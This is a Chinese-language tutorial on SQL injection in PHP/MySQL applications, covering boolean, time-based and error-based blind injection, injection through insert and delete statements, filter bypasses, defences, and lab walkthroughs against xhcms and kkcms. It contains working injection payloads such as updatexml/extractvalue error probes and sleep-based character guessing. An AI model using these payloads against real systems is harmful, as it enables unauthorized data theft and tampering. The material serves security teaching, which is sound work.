当前位置: 首页 > news >正文

044-WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

1.演示案例:

➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟

2. 核心知识点概览

本文围绕 PHP 与 MySQL 交互中的 SQL 注入风险展开,核心覆盖 3 类关键内容:

  1. PHP-MySQL 的 SQL 基础操作(增删改查)及注入风险点

  2. 3 种 SQL 盲注技术(布尔型、时间型、报错型)的原理与实战

  3. 注入条件判断(数据回显、错误处理)及 CMS 实战案例(插入报错、删除延时)

3. PHP-MySQL-SQL 基础操作(增删改查)

3.1 操作定义与场景

SQL 注入的风险根源是 “用户输入未过滤直接拼接 SQL 语句”,需先理解 PHP 中常见的 MySQL 操作逻辑:

操作类型 功能描述 应用场景 基础 SQL 语句 注入风险点
查询(Select) 从数据库读取数据 文章详情、用户登录验证 SELECT * FROM news WHERE id=$id $id 未过滤,可拼接逻辑判断
新增(Insert) 向数据库插入数据 留言提交、用户注册 INSERT INTO news (title) VALUES ('$title') $title 含单引号 / 特殊字符,破坏 SQL 结构
删除(Delete) 从数据库删除数据 删除文章、删除用户 DELETE FROM news WHERE id=$id $id 拼接or 1=1可删除所有数据
修改(Update) 更新数据库中已有数据 修改密码、编辑文章 UPDATE user SET pwd='$new_pwd' WHERE id=$id (new_pwd或)id 未过滤,可篡改更新条件

3.2 补充:PHP 代码示例(风险版 vs 安全版)

风险版(存在注入)

// 直接拼接用户输入,无过滤
$id = $_GET['id']; // 用户输入:1' or 1=1 --
$sql = "SELECT * FROM news WHERE id=$id"; 
$result = mysql_query($sql); // 执行后变成:SELECT * FROM news WHERE id=1' or 1=1 --

安全版(参数化查询)

// 使用MySQLi参数化查询,避免注入
$id = $_GET['id'];
$stmt = $mysqli->prepare("SELECT * FROM news WHERE id=?"); 
$stmt->bind_param("i", $id); // 绑定参数(i=整数类型)
$stmt->execute();

4. 三种 SQL 盲注技术详解

什么是盲注?

当注入时无法直接从页面获取数据库数据回显(如页面只显示 “成功 / 失败”“加载中”,无具体内容),需通过 “逻辑判断” 或 “错误触发” 间接获取数据的注入方式,称为盲注。

4.1 基于布尔的 SQL 盲注(需页面回显变化)

原理

利用 SQL 的逻辑判断(and/or),构造条件语句,通过页面是否正常显示(如 “存在数据” vs “空白页”)判断条件是否成立,逐步猜解数据。

核心函数(含详细解释 + 示例)

函数 作用 示例(猜解数据库名) 说明
length() 计算字符串长度 and length(database())=7 判断当前数据库名是否为 7 个字符
left() 从左截取指定长度字符 and left(database(),1)='p' 判断数据库名第 1 个字符是否为 'p'
substr() 从指定位置截取指定长度字符(substr (字符串,起始位,长度)) and substr(database(),2,1)='i' 判断数据库名第 2 个字符是否为 'i'
ord() 将字符转为 ASCII 码值 and ord(left(database(),1))=112 'p' 的 ASCII 码是 112,判断第 1 个字符是否为 'p'
regexp 正则匹配 and database() regexp '^p' 判断数据库名是否以 'p' 开头
like 模糊匹配(% 匹配任意字符,_匹配单个字符) and database() like 'p%' 判断数据库名是否以 'p' 开头

注入步骤(实战示例)

  1. 判断注入点:访问http://xxx/news.php?id=1 and 1=1(页面正常),id=1 and 1=2(页面空白)→ 存在布尔盲注点。

  2. 猜解数据库名长度:尝试id=1 and length(database())=6(页面正常)→ 数据库名长度为 6。

  3. 逐字符猜解数据库名

    • id=1 and ord(left(database(),1))>110(正常,说明第 1 个字符 ASCII>110)
    • id=1 and ord(left(database(),1))<113(正常,说明 < 113)
    • id=1 and ord(left(database(),1))=112(正常,ASCII=112→'p')
  1. 后续猜解表名、列名、数据:重复上述逻辑,如and ord(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=117(猜解第一个表名第 1 个字符是否为 'u')。

适用场景

页面有明确的 “正常 / 异常” 回显(如正确 ID 显示内容,错误 ID 显示空白),无错误提示。

4.2 基于时间的 SQL 盲注(无需回显 / 报错)

原理

利用SLEEP()函数构造条件,若条件成立则触发延迟(如 3 秒),通过页面响应时间判断条件是否成立,适合无任何回显的场景。

核心函数

函数 作用 示例 说明
IF(条件, 成立执行, 不成立执行) 条件判断函数 IF(1=1, SLEEP(3), 0) 1=1 成立,执行延迟 3 秒
SLEEP(N) 使 SQL 执行暂停 N 秒 SLEEP(5) 暂停 5 秒,用于观察延迟

注入语句(带说明)

  1. 验证注入点:id=1 and sleep(3) → 页面延迟 3 秒加载→存在时间盲注点。

  2. 猜解数据库名长度:id=1 and if(length(database())=6, sleep(3), 0) → 若延迟 3 秒→长度为 6。

  3. 逐字符猜解:id=1 and if(ord(left(database(),1))=112, sleep(3), 0) → 若延迟→第 1 个字符为 'p'。

注意事项

  • 网络波动可能影响延迟判断,建议多次测试。

  • 部分数据库(如 PostgreSQL)用pg_sleep(N)替代SLEEP(N)。

适用场景

页面无任何回显(无论输入正确与否,页面显示一致),且无错误提示。

4.3 基于报错的 SQL 盲注(需开启错误显示)

原理

利用 MySQL 函数(如updatexml()、extractvalue())的语法特性,构造非法参数触发报错,使错误信息中携带数据库数据(如版本、表名)。

核心函数(报错原理 + 示例)

函数 报错原理 注入语句(获取数据库版本) 报错信息(含数据)
updatexml(目标XML, XPath路径, 替换值) XPath 路径需符合 XML 语法,若含特殊字符(如~)则报错 and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) XPATH syntax error: '5.7.26'(5.7.26 是数据库版本)
extractvalue(目标XML, XPath路径) 同 updatexml,XPath 路径非法触发报错 and extractvalue(1, concat(0x5c, (select database()))) XPATH syntax error: '\testdb'(testdb 是当前数据库名)
floor(rand(0)*2) 结合group by使用时,rand () 值重复导致主键冲突报错 and (select count() from information_schema.tables group by floor(rand(0)2) concat(0x7e, database(), 0x7e)) Duplicate entry 'testdb1' for key 'group_key'

注入步骤(以 updatexml 为例)

判断是否开启错误显示:访问http://xxx/news.php?id=1' → 若显示 SQL 语法错误→开启了错误显示。

构造报错语句:id=1' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)-- → 从报错中获取版本。

获取更多数据:替换select version()为select table_name from information_schema.tables where table_schema=database() limit 0,1 → 获取第一个表名。

适用场景

PHP 开启了display_errors=On(显示 SQL 错误信息),适合快速获取数据(比布尔 / 时间盲注效率高)。

补充:如何关闭错误显示(防御)

在 PHP 配置文件php.ini中设置:

display_errors = Off
error_log = /var/log/php_error.log # 错误日志写入文件,不对外显示

4.4 三种盲注对比(表格优化)

盲注类型 核心依赖 优点 缺点 适用场景
布尔型 页面回显变化(正常 / 异常) 逻辑清晰,易判断 需逐字符猜解,效率低 页面有明确回显差异,无错误显示
时间型 页面响应延迟 无需回显 / 报错,适用广 受网络影响大,效率最低 页面无任何回显和错误提示
报错型 SQL 错误信息显示 效率高,直接带数据 需开启错误显示,局限性大 PHP 开启 display_errors,需快速获取数据

5. PHP-MySQL 注入条件与判断

5.1 核心判断标准(补充原理)

注入条件类型 判断方法 原理 示例场景
基于布尔 构造and 1=1(正常)和and 1=2(异常) 逻辑条件影响 SQL 查询结果,进而影响页面显示 新闻详情页:正确 ID 显示内容,错误 ID 显示空白
基于时间 构造and sleep(3),观察页面加载时间 条件成立时触发延迟,影响响应时间 登录页:无论用户名密码对错,页面显示一致
基于报错 构造非法 SQL(如id=1'),观察是否显示错误 PHP 未关闭错误显示,SQL 语法错误对外暴露 测试环境页面:直接显示 “MySQL server version for the right syntax to use near ''1''' at line 1”

5.2 黑盒测试优先选择(面试题解答优化)

问题:黑盒测试时,若需盲注,优先选哪种方式?

解答

优先尝试报错盲注

    • 原因:构造简单(如加单引号),若开启错误显示,可快速获取数据,效率最高;
    • 操作:先输入id=1'或id=1 and 1=@@version,观察是否有错误回显。

其次尝试布尔盲注

    • 若无错误显示,构造and 1=1和and 1=2,观察页面是否有差异(如内容显示 / 隐藏、按钮状态变化)。

最后尝试时间盲注

    • 若页面无任何差异,用and sleep(3)测试延迟,缺点是效率低且受网络影响大。

关键注意事项:需注意符号过滤(如单引号被转义,需用1''或1')尝试),以及空格过滤(用%20或/**/替换空格)。

6. 实战 CMS 案例解析(步骤优化 + 补充说明)

6.1 案例 1:xhcms - 插入报错注入(Insert 操作注入)

目标

通过 “留言提交” 功能(Insert 操作),利用报错盲注获取数据库版本。

环境准备

  • 靶场:xhcms(PHP+MySQL)

  • 功能点:留言板(http://192.168.137.1:85/?r=contact)

  • 核心风险:留言内容未过滤,直接拼接进 Insert 语句。

详细步骤(补充关键解释)

定位注入点

    • 查看源码:全局搜索insert,找到files/submit.php的 Insert 语句:
INSERT INTO interaction (name, content, ...) VALUES ('$name', '$content', ...)
    • 发现$content(留言内容)未过滤,且用单引号包裹→注入需闭合单引号。

构造注入语句

    • 留言内容输入:' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) and '
    • 关键:末尾的and '用于闭合 SQL 语句的最后一个单引号(原语句最后是'$content',注入后变为'内容' and ... and '',语法正确)。

触发报错

    • 注意:留言内容必须含中文(原理:xhcms 对纯英文内容有编码处理,导致报错不回显;中文可绕过编码,正常触发错误)。
    • 提交后,页面显示报错:XPATH syntax error: '5.7.26'→获取到数据库版本。

案例总结

  • Insert 注入常出现在 “留言板、注册、评论” 等功能;

  • 需注意闭合 SQL 语句中的单引号 / 双引号,避免语法错误;

  • 部分 CMS 对英文内容特殊处理,可尝试中文 / 特殊字符触发报错。

6.2 案例 2:kkcms - 删除延时注入(Delete 操作注入)

目标

通过 “用户组删除” 功能(Delete 操作),利用时间盲注猜解数据库名第一个字符。

环境准备

  • 靶场:kkcms(PHP+MySQL)

  • 功能点:管理员后台用户组删除(http://192.168.137.1:86/admin/cms_usergroup.php)

  • 核心风险:删除参数del未过滤,直接拼接进 Delete 语句。

详细步骤(补充工具使用说明)

定位注入点

    • 查看源码:全局搜索delete,找到admin/model/usergroup.php的 Delete 语句:
DELETE FROM usergroup WHERE id=$del
    • $del是 URL 参数(?del=4),未过滤→可构造时间盲注语句。

使用 Burp Suite 抓包测试

    • 原因:浏览器无法直观显示延迟时间,Burp 的 “Repeater” 模块可查看响应时间。
    • 抓包:访问删除按钮,抓取 GET 请求http://xxx/admin/cms_usergroup.php?del=4。

构造延时注入语句

    • 原始参数:?del=4
    • 注入语句:?del=4%20or%20if(ord(left(database(),1))=107,sleep(2),0)
      • %20:替换空格(避免 URL 解析错误);
      • ord(left(database(),1))=107:判断数据库名第 1 个字符的 ASCII 码是否为 107(对应字符 'k');
      • 若条件成立,延迟 2 秒;不成立则无延迟。

判断结果

    • 在 Burp Repeater 中发送请求,观察 “Response Time”:
      • 若响应时间≈2 秒→条件成立(数据库名第 1 个字符是 'k');
      • 若响应时间≈0.1 秒→条件不成立,调整 ASCII 码值继续测试。

关键知识点

  • Delete 注入常出现在 “后台删除数据” 功能(需登录权限);

  • 单引号被过滤时,用ord()转 ASCII 码比较(无需单引号包裹字符);

  • 空格被过滤时,可用%20(URL 编码)、/**/(SQL 注释)替换。

7. xhcms/kkcms 搭建补充(新手友好版)

7.1 xhcms 搭建步骤

下载源码:从官方或安全靶场平台获取 xhcms 源码。

配置数据库

    • 新建 MySQL 数据库(如xhcms_db);
    • 导入源码中的 SQL 文件(如xhcms.sql);
    • 修改config.php中的数据库配置:
$dbhost = 'localhost'; // 数据库地址
$dbuser = 'root';      // 用户名
$dbpass = '123456';    // 密码
$dbname = 'xhcms_db';  // 数据库名

部署到 PHP 环境

    • 将源码放入 PHPStudy 的www目录(或 XAMPP 的htdocs目录);
    • 访问http://localhost/xhcms/,若显示首页→搭建成功。

7.2 kkcms 搭建步骤

下载源码:获取 kkcms 管理员版源码(含后台功能)。

配置数据库

    • 新建数据库kkcms_db,导入kkcms.sql;
    • 修改inc/config.php中的数据库信息。

登录后台

    • 访问http://localhost/kkcms/admin/,默认账号密码:admin/admin123;
    • 进入 “用户组管理”(cms_usergroup.php)→ 功能正常则搭建成功。

8. 常见问题与优化建议

8.1 注入时遇到的问题及解决方案

问题现象 原因 解决方案
单引号输入后变成' PHP 开启了magic_quotes_gpc=On(自动转义单引号) 1. 用双引号尝试:" and 1=1 -- ;2. 用1''闭合(转义后变成1'',等效于1'')
空格输入后被过滤 CMS 对空格进行了过滤 用%20(URL 编码)、//(SQL 注释)、+(部分场景)替换空格,如and//1=1
报错盲注无回显 PHP 关闭了display_errors 改用布尔盲注或时间盲注;或尝试触发其他错误(如路径遍历)
时间盲注延迟不稳定 网络波动或服务器负载高 增加延迟时间(如从 3 秒改为 5 秒),多次测试取平均值
http://www.wxhsa.cn/company.asp?id=4840

相关文章:

  • 多品牌摄像机视频平台EasyCVR海康大华宇视视频平台统一接入方案
  • GoFrame框架查询数据表时对字段取别名
  • ubuntu安装mysql矩阵
  • 043-WEB攻防-PHP应用SQL注入符号拼接请求方法HTTP头JSON编码类
  • 离散数学课堂习题及课后习题 - PPX
  • 玻璃2601
  • 二十、DevOps落地:Jenkins基础入门(一)
  • ubuntu 22.04安装mysql5.7
  • Docker如何获取镜像
  • 2025 ICPC 网络赛2 E
  • 偏移寻址
  • 金融业-数字化转型大赛-网络安全赛道部分wp
  • Mysql查找含字符串表字段
  • MySQL注意事项与规范 - 实践
  • 真正的元推理,不需要人类的认可,恰恰是人类追求元推理,只有元推理才能彻底解放人类
  • 西电微机原理-第三章 Intel处理器指令系统及汇编语言(5)
  • 西电微机原理-第五章 存储技术
  • 西电微机原理-第七章 常用接口器件
  • CF1264D1 Beautiful Bracket Sequence (easy version)
  • 西电微机原理-第六章 输入输出技术
  • 【FAQ】应用A如何使用应用B内的文件?
  • OpenStack Cinder 创建卷
  • 西电微机原理-第二章 Intel单核处理器
  • 二叉树的迭代遍历(非递归)
  • 记录---用好了 defineProps 才叫会用 Vue3,90% 的写法都错了
  • 今日流水账-2025年9月15日
  • c#给原文件重命名
  • tcpdump常用随笔
  • 2025年HR经理必备:10款高效人力资源管理软件推荐
  • GAS中GA变量数据的同步